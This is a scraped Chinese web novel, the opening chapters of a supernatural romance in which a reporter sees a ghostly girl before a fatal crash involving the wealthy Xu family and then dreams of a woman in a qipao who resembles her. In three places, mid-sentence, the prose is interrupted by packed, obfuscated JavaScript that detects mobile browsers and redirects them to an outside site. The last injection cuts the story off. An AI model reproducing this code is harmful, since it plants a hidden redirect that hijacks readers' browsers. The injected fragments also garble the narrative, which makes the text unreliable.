《许总,我真不是你太奶[灵异]》 1. 第 1 章 夜幕渐渐罩了下来,终于下班了! 原以为昨天刚从外地采访回来,今天可以早点回家休息,但谁能想到主任又犯病了,突然召集大家开了个会。 在难得的比较清闲的工作日,在临近下班的时候!而且又拖了半小时! 真是让人讨厌! 颜珺瑶无奈地叹了口气,突然想到那句话,天下竟会有如此厚颜无耻之徒。 脑子里闹出这句话的瞬间,忍不住噗呲笑了出来,情不自禁又重新弯起嘴角。 嘿,果然骂人能让人心情愉悦,即使只是腹诽,即使没有当着对方的面。 颜珺瑶乐呵呵地骑着自己心爱的小电驴,往家去。 出差几天不在家,妈妈早上打电话说今天会准备她最喜欢的莲子猪肚汤,让她晚上一定要回去吃饭。 自从两年前她进了电视台,成了都市频道《第一时间》栏目组的一名记者后,妈妈嘴上一直“嫌弃”着她的工作,觉得太忙太累,不太安全,但其实还是尊重亲闺女的想法,默默地支持和关心,特别是饮食方面,生怕她平日里饿到了。 天几乎黑了下来,远处的天幕上似乎还有几颗星星,被鳞次栉比的路灯抢去了风头,不甚明显,像是水面偶尔跳动的水珠。灯海璀璨,霓虹闪烁,车水马龙,许多色彩都变得稍显模糊,不易分辨。除了—— 余光似乎扫过一抹亮色,好像有什么不对劲—— 颜珺瑶眨了眨有些干涩的眼睛,往左前方再次看去,蓦地屏住了呼吸。 一个穿着亮黄色旗袍的三四岁小女孩,居然在下班高峰期,误入了车流中,独自一人在最靠左的车道上走着,完全没有意识到自己有多危险。 而就在此时此刻,一辆黑色轿车冲着那个小女孩就这么迎面驶去,不管不顾。 司机是瞎了还是疯了? 她下意识地停下电动车,冲着那个方向大喊了一声“有人啊!”,完全忘了这样的距离,这样喧闹的马路,那边压根听不到自己的声音,更何况还是在车里。 令她万万没想到的是,黑色轿车蓦地停了下来。 可一切都来不及了,车子已经直直地撞向了小女孩。 颜珺瑶摘掉安全帽,刚要往那边跑去,两道刺耳的,剧烈的碰撞声接连传入了耳中。 猝不及防。 她倏地震惊在原地,一时竟愣住了。 一辆老年代步车,一辆中型货车,还有那辆黑色轿车,三车连撞。 非常严重的车祸,现场一片混乱,交通很快堵塞。 可还没等颜珺瑶反应过来,心头传来一阵阵刺痛,像是有人用力地攥住了她的心脏。双耳瞬间耳鸣,只剩下好似金属摩擦的高频声。 很快,她感觉喘不上气,眼皮一沉,浑身瘫软,不省人事。 * 等到再次睁开眼睛的时候,颜珺瑶看到一片素白的吊顶天花板,十分陌生。 而身旁站着的一名年轻护士正在换架子上的药瓶,哦,原来自己是进了医院。 她有些恍惚,一时半会儿竟然有些想不起来发生了什么,只记得自己是在回家的路上,然后就到了这里。 头疼。 她是真的头疼。 “请问我——” 颜珺瑶的话还没说完,护士听到她的声音,有些激动道:“啊,你醒了呀,那就好!” 护士把新药瓶挂好,一面又继续道:“你是救护车拉来的,昏迷了都,现在醒了就好。” 闻言,颜珺瑶蹙起眉头,又不禁揉了揉太阳穴,慢慢回忆了起来。 看来是哪个好心人看到她晕倒,帮她打了120,把她送来了医院。 离开病房之前,护士解释说刚刚颜珺瑶的手机连续响了两次,她担心吵到其他病人,就给接了,简单说了她的情况。 颜珺瑶赶紧拿过手机,果然有不少未接来电和信息,有妈妈的,也有师傅江成的,好友张熙杰的。 她先给妈妈回了电话,借口要帮即将结婚的好朋友布置新房,搪塞了过去,又说了晚上在好朋友家过夜不回去,老妈也没有怀疑,只是嘟囔了一句,也不提前说一声。 幸好护士帮自己接的那通电话不是妈妈的,否则就瞒不过去了。 陆续给师傅和张熙杰回电话,但两人的都没接。很快,她反应过来,应该是在忙着报道那起车祸。 手机屏幕刚熄下去,一位中年医生和刚才那位护士进了病房,径直来到颜珺瑶的病床前,询问她的状况。 颜珺瑶将自己昏迷前的情况说了,不过现在除了头还有点疼之外,其他的症状倒是没有了。她挺疑惑的,自己从小到大身体都挺好的,定期体检,心肝脾胃肾什么的,都没啥毛病,怎么刚刚突然就出现那些情况了呢? 医生解释说头疼可能是倒地时撞到了头,至于其他问题,需要做下检查。又嘱咐了几句之后,医生护士离开病房,颜珺瑶的手机又响了起来。 是师傅江成。 颜珺瑶赶紧接起,正要简单地解释了一下自己的情况。江成已经从护士那里知道了她进医院的事,也就没再多问,一接通就问她在哪个病房。 她有些发懵,还没来得及解释自己进医院的原因,师傅就说要过来看她,因为他们刚好就在医院。 所以刚刚那起车祸的受伤人员也都送到了这家医院?哦,也对,省立医院离车祸现场是最近的。 * 结束通话没多久,师傅江成就带着张熙杰,吕嫣,还有摄像李逸飞,快步地进了病房。 江成率先开口,“怎么突然就在马路边晕倒了,是不是最近太累了?还好被人及时发现,送来这里。” 吕嫣忙不迭点头,“是呀是呀,怎么回事呀?” 颜珺瑶嘴角弯了弯,随即解释道:“我也不知道怎么回事,当时正骑着电动车,就看到了对面发生车祸,紧接着就晕倒了。” 摄像笑了起来,“你胆子太小了,都当了这么久的记者,什么场面没见过,怎么还被车祸吓到了,这样要被同行笑话的。” 张熙杰用胳膊肘捅了下李逸飞,让他少说点。 颜珺瑶轻轻摇了摇头,她知道自己不是被吓到的。 “我好像看到有个——对了,师傅,车上的人是不是也送到了这家医院?” “嗯,现在还在抢救。” “当时具体是什么情况呢?” 张熙杰拧开一瓶矿泉水,塞到颜珺瑶手里,“目前来看,应该是代步车司机突发心梗,车辆失控,货车为了避开代步车,撞到了那辆黑色的。” 吕嫣神秘兮兮地凑到颜珺瑶跟前,“你知道不,那三辆车,其中一辆里头坐着的是许氏的总经理。” 颜珺瑶一愣,“那辆黑色轿车?” “嗯嗯,”吕嫣瞅了一眼隔壁床侧身在睡觉的病人,还是低声道:“那个许氏家族哦!” 许氏家族,百年望族,却又十分低调。本市很多人都知道,颜珺瑶自然也听说过。 “哎——”摄像忽然叹了口气,又道:“要是没抢救过来,他儿子连父亲的最后一面都见不上了。” 江成瞅了一眼李逸飞,李逸飞笑呵呵地闭了嘴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951129|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再多说。 颜珺瑶眨了眨眼,下意识问道:“谁的儿子?” 吕嫣解释:“就是这位许总的儿子啊,听说还在外地出差,还没赶过来呢!还有那个货车司机,不是本地人,家人好像都在外地,好可怜呀!” 李逸飞没忍住,又开口了:“许家人不让拍,不让媒体上去。”他转头看向江成,“老江,我们还要等那个小许总过来吗?” 江成清了清嗓子,顿了顿才道:“我之前见过这个小许总,他比他父亲更低调。现在这个节骨眼,不可能会接受采访的。” 李逸飞又叹气,“真是倒霉啊,流年不利!” 就在这时,刚才那位护士又进来了,将医生开的检查单子交给了颜珺瑶,又委婉提醒几人不要待太久,影响病人休息。 江成见状,便站了起来,嘱咐颜珺瑶好好休息,并让她明天好好休息,他会帮她请假。 * 几个人刚离开病房没多久,张熙杰就去而复返,手上提了两碗面,还有一些水果点心,以及洗漱用品。 快八点了,颜珺瑶已经饿过头,本来没啥感觉,但一看到食物,饥饿感立即就涌了上来,双眼一亮,笑嘻嘻地接过盒子,打开盖子,大口地吃了起来。 张熙杰坐在病床边上陪她一起吃,看到她的吃相,有些忍俊不禁,还是和小时候一样。只要饿得狠了,吃饭时,两只眼睛就像探照灯一样,特别亮。 吃完面,颜珺瑶心满意足,觉得自己能量满格,立马就能出院,连检查都不用做了。 掰了一根香蕉递给张熙杰,又慢条斯理地给自己剥了起来,颜珺瑶就听张熙杰说道:“你又没告诉叔叔阿姨?” 颜珺瑶摇头,笑眯眯道:“医生说我没啥大问题,只是有些轻微脑震荡,其他检查要是都正常,明天上午就能出院,省得他们担心我。” 说完咬了一口香蕉,嗯,真甜。 张熙杰无奈地叹了口气,拿起床头柜上的检查单子翻了翻。 “等这瓶滴完,我陪你去做检查。” “嗯,好啊!” * 做完检查,回到病房,里头的灯已经关了,隔壁床的病友睡着了。 颜珺瑶简单地洗漱一番,轻手轻脚地上了床,闭上眼,却没什么睡意,脑子里一直闪过傍晚时目睹的车祸场景。 不知道那些人有没有抢救过来,那个小女孩—— 当时那辆黑色轿车丝毫没有减速,她能活下来吗? 总觉得似乎哪里有些不对劲,但一时之间也想不起来。 渐渐地,困意上来了。 就在她快要睡着之时,突然被一阵动静惊醒。 是楼下的声音。 隔壁床的病友大概也是被吵到了,翻了个,咕哝了一句什么,就又睡过去了。 颜珺瑶起身走到窗边,往外看去,只见三辆车子停在了楼下不远处,很快就有许多媒体记者举着长枪短炮地蜂拥上去。车上先是下来好几个男人,拦住了那些记者,看样子应该是保镖。而后从中间那辆车上又下来了一个人,站在那些记者面前,不知道说了什么,但很快那些记者都离开了。 这些是许家的人? 八成是了。 等到处理好这些记者,第二辆车上再次下来了一个年轻男人,身形颀长,大步流星地走向了住院楼。 看来这一位就是那位许总的儿子,小许总了。 只是看不清脸。 哦,许家最年轻的一辈。 颜珺瑶收回目光,抬头看了看天花板,缓缓地笑了。 2. 第 2 章 显示屏上的数字在规律地跳动,电梯在畅通无阻地往上移动。 颜珺瑶下意识地摸着手上的住院手环,抬头盯着显示屏。 距离车祸发生已经差不多过去六个小时了,如果人没死,抢救手术结束了吗? 她挺好奇的。 “嘀”一声,八楼到了。 出了电梯,寂静扑面而来,似乎落针可闻。 颜珺瑶不禁放轻了脚步,没走两步,就听到几句刻意压低的说话声以及压抑的啜泣声。 她莞尔,继续往前,还没来得及拐弯,一名护士蓦地出现在她面前。 两人差点撞上对方,彼此都吓了一跳。 护士长舒一口气,刚要绕开,却倏地定住了步子。 她瞥了一眼颜珺瑶的手腕,啧了一声,才说道:“哎呀,时间很晚了,这上面都是手术室,你赶紧回病房啊!” “手术结束了吗?”颜珺瑶恍若没听见对方的话。 护士打量了颜珺瑶一眼,以为她和手术室里的人认识,于是回道:“没呢,你赶紧回去,这儿不让随意上来的。” 颜珺瑶轻声笑了笑,没说好,也没说不好。就在这时,衣兜里的手机响了。 她一个机灵,整个人似乎才从梦里清醒过来,竟有些糊涂,自己怎么就上来了呢? 电话是张熙杰打来的,说是回去之前,打算去病房再看看她,结果发现人不在,所以才打电话问她这么晚去哪里了。 “八楼。” 张熙杰松了一口气,“这么晚你怎么上去了,许家不让采访的,你等着,我马上就到了。” 重新把手机放回外套兜里,颜珺瑶瞥了一眼不远处的护士站,刚才那名护士也正好看了过来。 她抢在护士再一次重复之前保证道:“我马上下去。” 说完就转身走了,正好电梯也到了,出来的正是张熙杰。 对方见她没什么事就放了心,只是无奈摇头,“你真是吓我一跳——回去吧!” 颜珺瑶不知道该怎么跟张熙杰解释这件事,因为她自己也不清楚为什么会上来。明明她没有这个打算,可她似乎就是控制不住自己,像是被人操控了一样。 难道是把脑子撞出毛病了?可医生都说了只是轻微脑震荡,头疼也在减缓,不应该啊! 算了,明早起来再看看什么状况,自己瞎琢磨也琢磨不出个所以然来。 说不定明天就一切正常了。 * 一夜好眠,没再做什么奇怪的梦。 第二天早上醒来,颜珺瑶觉得自己肯定是完全恢复了,精神特别足,就算空腹跑个一千米估计也没啥问题。 吃过早饭,回病房的路上经过护士站,犹豫了两秒,而后向一名年轻护士打听昨天车祸的几个人怎么样了。 护士瞧了瞧颜珺瑶,说道:“老人和司机都没了。” 那看来那位许氏的总经理抢救过来了。 “那那个小女孩呢?” 护士奇怪地瞅了颜珺瑶一眼,“哪来的小女孩?” 颜珺瑶一怔,随即想到了什么,又问:“昨天车祸的伤员都送到这里了吗?” “是啊——”话音未落,护士便不再搭理她,去忙自己的事了。 这怎么可能呢? 昨天自己明明看到那个小女孩被许家的车子撞到了,按照当时的车速,小女孩不可能安然无恙。 可怎么会没有那个孩子呢?自己确确实实亲眼所见。 难道那个孩子的家人将她送到了其他医院呢?也不太可能,危急时刻,一分一秒都要抢,怎么可能舍近求远? 还是大半夜把孩子转走了? 她立马用手机搜索昨晚的车祸新闻,报道里赫然写着四名伤员,老人,货车司机,许氏的总经理及其司机,而且也没提到许家车子有撞到人的情况。 所以真的没有那个小女孩?! 那自己看到的到底是什么? * “站在这里做什么呢?” 张熙杰的声音,拉回了颜珺瑶的思绪。 她挤出笑容,摇了摇头,“没——没事。” “怎么这么早就起来了,不多睡会儿?哎——咋了?” 张熙杰话还没说完,就被颜珺瑶拉到了一个没人的角落,而后就那么定定地看着他。 张熙杰被她看得有些莫名,问她到底怎么呢,是不是出了什么事。 颜珺瑶不答反问,眼神无比认真,“熙杰,昨天车祸的伤员都有谁?” 四个男性。 这个答案在她的意料之中,可她还是不死心,继续问道:“没有一个小女孩吗?” “没有。我们单位离现场不算远,到的比较早,我可以确定没有什么小女孩。”张熙杰语气十分肯定,“你怎么突然问这个?” 颜珺瑶的脸色一下子白了,兀自喃喃,“可我怎么看到了呢?” 张熙杰愣了下,随即安慰道:“也许是你最近太累了,或者是昨天被吓到了,所以产生了错觉。先不要多想,要不等会儿问问医生?” 不,不是错觉。 她最近身体挺正常的,而且看到那个小女孩也是在车祸发生之前,不可能是因为被车祸吓到而产生错觉。 自己不是会见鬼了吧? 颜珺瑶被自己的想法吓了一哆嗦,赶紧整理好心绪,让自己不要多想。 “估计是被吓到了,不过今天感觉好多了,中午应该就能出院。对了——” 她转移话题,“你们今天还是会很忙吧?” 张熙杰点点头,突然压低了声音,“听说昨晚四个伤员,只有许家的那个司机活下来了。” 嗯?护士不是说—— 颜珺瑶眉心微动,“那个许总也没了?” “嗯,还不能百分百确认,但八九不离十。不过许家应该不会这么快让外界知道这个消息。” * 诚如颜珺瑶所想的那样,检查结果一切正常,医生查房时告诉她上午就可以出院。 虽然小女孩的事情着实把她吓到了,但迈出住院楼大门的那一瞬间,一切就都晴空万里了。 到停车棚找到了自己的电动车,简单查看了一下,除了左边的后视镜碎了,其他都好好的。多亏了那个做好事不留名的大姐,不仅帮她拨打了120,还把她的电动车骑了过来。 要是没有她,估计自己的这辆车子应该会被人顺手骑走了。 骑上电动车回了自己的住处,颜珺瑶做的第一件事情就是痛痛快快洗个热水澡,然后直接躺到床上,睡了过去。 午觉醒来,已经五点了,大概是睡得太久了,颜珺瑶居然觉得有点累,精神提不起来。她赶紧用冷水洗了把脸,收拾收拾,就下楼去打车。 昨晚本来答应了爸妈回去吃饭,结果让两人白费了一番心思,又空等了那么久。自己确实有将近十天没回去和爸妈一起吃饭了,既然领导批了假,那她就好好休息,再陪陪爸妈。 到了家里,钱艺文已经从学校回来了。嘴上虽然埋怨颜珺瑶昨晚电话一直打不通,但两只眼睛却仔细地打量着她,最后勉强得出结论,这次看着倒是没瘦,就是脸色不够红润。 颜珺瑶赶紧岔开话题,拉着老妈进了厨房,要给她打下手。没多久,颜志华也下了班,跟着挤进了厨房。三个人一起动手,莲子猪肚汤又是提前定时就炖上了,所以很快就做好了。 瞧着桌子上的四菜一汤,可真是色香味俱全。颜珺瑶看得口水直流,拿起筷子大快朵颐,还不忘跟爸妈贫贫嘴。 晚饭过后,一家三口坐在客厅一边看电视,一边吃水果。颜珺瑶刚吃了两口就开始犯困,最后捏着那把叉子,脑袋歪在沙发上,眼皮一沉。 在遁入梦境前,她突然觉得今天自己可真能睡啊! 钱艺文扭头瞧见,便轻声把她叫醒,让她回房去睡。颜珺瑶迷迷瞪瞪地睁开眼,也听不清楚爸妈都说了什么,下意识地回了一声“嗯”,就回了房间。 * 大半夜,颜珺瑶被自己“烫”醒了。浑身滚烫,连鼻子出的气都有些灼热。 她意识自己这是发高烧了,估计温度不会低。 下了床,去客厅找了一粒退烧药吃了,再次躺到床上,很快就又睡了过去。 翌日一早,闹钟吵醒了颜珺瑶,她愣了片刻,很快想到什么,赶紧摸了摸自己的额头,体温似乎正常。 嘿,看来退烧药效果不错。 既然已经退烧了,颜珺瑶就没将事情告诉爸妈,如往常一样,吃过早饭就去上班了。 可到了单位不到两小时,她才知道早起时,是自己高兴的太早了。 因为她复烧了。 整个人浑身无力,难受,只能趴在办公桌上,最后还是张熙杰开车把她送到医院,在门诊打了点滴才退了烧。 颜珺瑶再次得到了一天的假,又蒙头睡了一下午,令她难以想象的是,这居然只是个开始。 接下来的两天,她不断地发烧,退烧,又发烧。 被折腾地实在没了脾气,第三天颜珺瑶去医院挂了号,做了检查,可结果却都是没问题。这倒是令颜珺瑶稍感欣慰,可她也不敢完全放心。 事实证明,她的想法是对的。 这种反反复复的状况又持续了两天,颜珺瑶担心自己再这么下去,早晚会被烧傻,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951130|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好把情况告诉了爸妈。 回到家里之后,又是中药,又是西药,就这么中西结合的吃了三天,也闷头睡了三天,最后总算是稳定了下来。 爸妈让颜珺瑶再请一天假,之后就是清明节假期,连着几天在家好好休息,把身体调理好。 因为这场病,颜珺瑶已经请了好久的病假了,说实话,她是真的有点不好意思再开口,但她不敢大意,只能拨通了主任的电话,颇为忐忑地提了。 没想到主任居然很爽快地答应了,说是看了清明节值班表,这次没有轮到她,让她趁着假期好好养养身体,之后再回单位好好工作。 嘿,看来自己有失偏颇,王主任还是有不错的时候嘛! * 清明假期,往常父母都会回老家扫墓,今年也不例外。去年颜珺瑶因为假期值班,没去成,所以今年一定要回去。 清明节当天,一家人开车回了乡下,没多久大伯和二伯两家人也陆续都到了。 一众人上了山,因为前两天下了雨,地面有些泥泞,爷爷奶奶时不时就嘱咐大家要慢点走。 十几分钟之后,到了太爷爷太奶奶的合葬墓前,紧邻的是另一座墓,墓碑上只刻了四个字,恩人施氏。 两座墓看起来都有些年份了,特别是那座单人墓。 爷爷奶奶大致安排了一下,人多,再加上爷爷平日里偶尔也会过来整理,所以没花多少时间就拔完草,把两座墓打扫干净。 接下来是磕头烧纸钱。 爷爷奶奶先来到恩人施氏的墓前,跪下磕了头,后辈人都跟着照做,然后才开始烧纸钱。 颜珺瑶蹲在爷爷身边,有样学样地拿起一叠纸钱,用拳头在上面转一圈,让纸钱散开之后,再放到火里。 一旁的爷爷嘴里喃喃有词,“太太,我来看您了,谢谢您当年的救命之恩,才有了我们现在这一大家子人——” 颜珺瑶好奇,爷爷为什么会称呼这位恩人为太太呢? 爷爷笑呵呵地解释:“你太奶奶就是这么称呼她的,所以我就跟着叫了。” “你太奶奶当年第一次怀胎的时候,四五个月的时候不小心落了胎,身体给伤着了,去干活的路上晕死了过去。幸好太太的车子经过,把她送到了镇上的医院,还帮忙付了医药费,不仅如此,又给了她一笔钱,让她回家养身体。” 说到这里,爷爷无不感慨地叹了口气,“大善人啊!” 颜珺瑶点点头,确实是大善人,难得的大善人。 难怪太奶奶会在她过世之后,借了钱也要立衣冠冢来祭奠她! 可是衣冠冢里一般放的都是逝者的衣物,太奶奶和这位太太只见过一面,哪里来的对方的东西呢? 不过爷爷却很肯定,“是太太的衣服。” 放入最后一叠纸钱,快要熄灭的火势,再次有了死灰复燃的迹象,火花渐渐跳了起来,将所有纸钱烧成灰烬。 * 扫完墓,往山下走的时候,脸上开始跳动凉爽的触感。 颜珺瑶将手机屏幕朝上,果然,下雨了。 那些灰烬很快就会被雨水冲走,消失不见。 回到爷爷奶奶家里,一大家人一起吃了顿饭,之后赶在天黑前都回去了,而颜珺瑶留了下来。 这两天里,爷爷奶奶变着花样给她做好吃的,滋补的,她跟爷爷奶奶开玩笑说,自己的毛孔似乎在往外冒油。 这天吃过晚饭,奶奶被人叫去帮忙,只剩颜珺瑶和爷爷两人在家里。天色暗了下来,爷孙俩坐在院子里,一边喝茶,一边闲聊。 院门口过去一个人,颜珺瑶抬眼一瞥,是邻居的汤爷爷回家去了。 突然间,她想起了一件刻意被她忘记的事情。 清了清嗓子,状似随意地问道:“爷爷,这个世界上真的存在阴阳眼吗?” 爷爷喝了口茶,笑呵呵道:“是啊,肯定有。” 颜珺瑶视线一顿,神色微变,“那——那怎么知道自己是阴阳眼呢?” “就是经常能看到一些莫名其妙的,特别是晚上。” 心头一个咯噔,自己看到小女孩那天,时间是在傍晚,这——算是晚上吗? 可自己以前从没有出现这种情况,不应该是幻觉。 但如果那个孩子真的是人的话,为什么似乎只有自己看到了呢? 颜珺瑶默了片刻,“那有没有人不是阴阳眼,也能看到呢?” “有啊,大概是你爸爸两三岁左右的时候,村东头的李老头听说就是大半夜看到了不干净的东西,给吓死的。” 颜珺瑶只觉浑身的汗毛都起来了,还真的有? “他——他看到了啥?” 3. 第 3 章 颜珺瑶只觉浑身的汗毛都起来了,还真的有? “他——他看到了啥?” “我记得村东头那块很早之前是有一座祠堂的,但因为村里又选了一处好位置,筹钱重新建了一座,所以之前那一座祠堂就年久失修,渐渐荒废了。这个李老头喜欢喝酒,那天晚上好像就是和别人一起去喝酒的,晚上回家经过那座旧祠堂的时候,突然听到里头居然有敲门声。 里头没人,怎么会有敲门声呢?李老头就凑到门前去听,没啥声响,他觉得是自己听错了。可等他一走开,敲门声就又出现了。李老头反复试了几次,都是这样,他就怀疑里头有人故意在吓他。于是打算推开大门进去,仔细瞅一瞅。 可大门刚被他推开一条缝,就立马从里头被重重合上,而且还死死地抵着门。李老头就更相信是有人在里头,就一直使劲将门往里推。结果突然间里头没了劲儿,李老头直接摔了进去,发现啊,里头根本就没人,而且门栓也早就朽了。李老头吓出一身冷汗,刚站起来,门就又被合上了,把他关在了里面,怎么都打不开门,第二天天亮的时候才从里头跑了出去。回到家里人就有点不行了,开始说胡话,不到一个月就没了。” 颜珺瑶听得一愣一愣的,没想到自己从小到大生活的村子里还真的有这样的事情。消化了好一会儿,有些踟蹰地问道:“这个李爷爷——是不是干过什么——坏事啊?” “哎,他倒是没有,李老头除了爱喝点酒,人还是挺不错的,不过他爷爷做过。” “李爷爷的爷爷?” “李老头的爷爷曾经是大户,旧祠堂就是他爷爷出钱建的,为村里做了不少贡献。但他爷爷脾气不好,据说是活活打死过好几个丫鬟。” “……”所以这是自己做了损阴德的事,最后报应在了子孙身上? “那——除了这种情况,还有什么样的人会看到那些呢?” 爷爷笑起来,似乎是觉得她在明知故问,“还能是什么样的人,流年不利的——” 老爷子一顿,看向孙女,“孩子,你是不是遇到什么事了?” “没,没有,”颜珺瑶赶紧摇头,又给爷爷添了茶,“我就是好奇问问,好奇。” * 第二天一大早,颜珺瑶刚吃过早饭,就注意到奶奶拿着一张黄符,擦了火柴点燃,然后在一个白色的小瓷碗上头绕着圈,嘴里念念有词,最后把符灰放入了碗里,再用筷子搅了搅。 她看了看爷爷,正要开口问问奶奶在干嘛,结果奶奶就端着那个小瓷碗,递到了她的面前。 “瑶瑶,你把这个喝了,保平安的,你爷爷一大早去求的。” “……”符灰水,能喝吗? 颜珺瑶舔了下唇,接过了碗,一闻,居然是白酒,根本不是水。 而且这冲劲,度数应该不低,估计是爷爷珍藏的好酒。 只是——这——非得喝吗? 且不说她没酒量,只说这灰,她也有点不好接受。 在爷爷奶奶殷切的目光下,颜珺瑶只好试着抿了一口,直接咳了起来。 难以下咽,这酒到底多少度啊? 奶奶让她捏着鼻子慢慢喝,颜珺瑶勉强又尝了一小口,整个胃都要烧起来,从嗓子一路到胃都难受。 爷爷见状,只好不勉强她了。 颜珺瑶松了一口气,以为真的不用喝了。结果中午吃饭的时候,奶奶单独从厨房盛了一碗鸡汤放在她的桌前,笑眯眯地对她说:“你爷爷问了你汤爷爷,说是混着汤喝,效果是一样的。” “……哦——”所以这一碗鸡汤里是混了符灰的。 算了,喝吧!要是自己真的是撞邪了,那汤爷爷给的符肯定有用。 端起碗,一口气把鸡汤给喝了。 * 夜色浓稠,窗外的夜空特别干净,一轮明月,伴着几点疏星。 明天是个好天气。假期的最后一天,马上就要回去上班了。 关上灯,月光就洒了进来,竟不像是深夜。 农村的夜,格外寂静,几声唧啾虫鸣,更让人心里一片舒心。 颜珺瑶躺在床上,脑子中一幕幕晃过最近发生的事情,车祸,小女孩,医院—— 那个小女孩。 如果她真的是鬼魂的话,那就可以解释为什么只有自己看到她。 等等,等等—— 她突然意识到一个问题,许家那辆车当时为什么突然停下呢?要是她没记错,那个路段正常情况下是不允许停车的,更何况是在下班高峰期。 如果当时许家的车子没有停下的话,按照车子当时的速度,应该是能躲开那场车祸的。 有没有一种可能,那就是——那辆车子里的人和她一样,也看到了那个小女孩,所以才停的车? 如果果真如此的话,难道那个孩子是冲着许家去的,只是刚好这一切被正好倒霉的自己给瞧见了? 朦胧间,那两起车祸的画面,又出现在眼前,即使过了这么久,也依然让她震惊,恐惧。 但很快,车祸现场悄然撤去,转而只剩黑黢黢,到处都是黑黢黢,雾蒙蒙。 她莫名感到心慌,同时又安慰自己,闭上眼睛肯定是黑的,没什么好害怕的。 对,没什么好害怕的——不对——不对—— 不止黑色。 在黑色的背景下,那抹亮色尤为引人注目。 那是什么颜色?香槟色? 颜珺瑶眯着眼,试图看清到底是什么,雾气渐渐消散,不知过了多久,她终于看清了。 一个年轻女人。 一个穿着香槟色旗袍,挽着头发,婀娜妩媚的漂亮女人。 她心跳如鼓,因为她竟然觉得这个女人有些眼熟。 这张脸,她似乎在哪里见过。 还未等她想起来,一声呢喃软语入耳来。 “君平——” 是眼前这个旗袍女子在说话,婉转缱绻,无限爱意。可颜珺瑶瞬间头皮发炸,她想要转身跑掉,却忽然发现自己居然无法动弹。 她焦急万分,想大喊,却也失了声,拼尽全力试了一次又一次,终于她喊了出来。 “啊——” 猛地睁开眼,这才发现自己刚才只是做了个噩梦。 颜珺瑶缓了口气,在床上坐了起来,就着窗外透进来的月光,抽了纸擦掉额上沁出的汗。 拿起手机一看,十二点刚过,自己没有睡多久。 想了想,她又重新开了灯,眯眼的瞬间才感到安心。 刚刚那是噩梦吗?好像也算不上噩梦,也就是让她感到惊恐。 那张脸—— 她蓦地意识到了什么,瞪大了双眸,不禁将身上的被子拉高。那个女人,居然和自己长相相似,她——她是谁? 不仅如此,印象里自己做梦就算能记得住梦到了什么,可似乎都没有注意过梦里有什么颜色。以往的梦仿佛是旧时代的黑白影像,而刚刚这个梦,却色彩鲜明,她能明明白白地有了这么一个意识,那件旗袍就是香槟色的。 还有,旗袍女子喊的“君平”,又是谁? * 假期最后一天,颜珺瑶起了个大早,和爷爷奶奶一起吃早饭时,想到昨晚那个奇怪的梦,忍不住问爷爷奶奶是否认识什么人叫君平的。 老两口都摇头说不认识,而且认为这个名字像是老一辈的读书人会起的,他们小时候没几个人会有这么文雅的名字。 颜珺瑶觉得爷爷奶奶说的很对,可她也压根不知道什么君平。最让她不安的还是那个旗袍女人,自己为什么会梦到她?又为什么自己和她长相相似呢? 难道她是想托梦告诉自己什么,或帮她完成什么心愿? 可她除了一个名字之外,什么都没说。 真是让人头疼! 换做是以前做了这样一个梦,那做梦就做梦吧,反正她经常做梦,她可能很快就忘了,最多就是怀疑自己想穿旗袍却不自知。 但最近这段时间她没法不多想,自从目睹了那场车祸,以及又看到了别人都没注意到的孩子,再有之后的那些莫名其妙的事情,她真的是怀疑自己是走背运了,所以才突然能看到那些。 不,不是怀疑,而是非常肯定。 幸好自己听话喝了那碗汤,汤爷爷的厉害她是了解的,自己一定会慢慢好起来的。 * 许修远先是接到医院的电话,紧接着又接到老宅张阿姨的电话,说是爷爷匆匆忙忙地从医院离开,回了家里,还叫来了毕老先生的徒弟,赵敬鸿。 毕老先生几十年来一直都是爷爷十分信任的所谓高人,赵敬鸿是老先生的徒弟,之前去过老宅,许修远见过几次。 爷爷向来笃信阴阳风水,这次突然回家,又请了赵先生,估计又是这方面的原因。他虽然是无神论者,但尊重爷爷的想法和做法,从不加以干涉。 可今天不行。 父亲不幸车祸离世,晚年丧子,白发人送黑发人,爷爷受不了如此巨大的打击,直接倒在了医院。这几天一直在住院,虽然身体底子不错,不过到底年纪大了,医生一直嘱咐要多观察几天。 他倒是好奇,老宅能是出了什么情况,让老爷子不顾自己的身体,也要提前离开医院回去。 许修远开车回到老宅,不见爷爷,老管家宗叔也不在楼下,一问才知道,老爷子一回来就直奔三楼而去。 要说三楼有什么特别的,其实也没什么不一样的,但唯独有一个房间,自他有记忆以来,就一直都是锁着的,谁都不被允许进入,包括他和爸妈。 从小到大,他就知道爷爷对那个房间特别讳莫如深。小时候他好奇问过,爷爷罕见地对他拉下了脸,让他不要多问,不要好奇,更不能进去。 所以现在,这三个人应该就在那个房间。 张阿姨和顾阿姨两人在厨房忙着准备晚餐,许修远正要去叫张阿姨再问问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 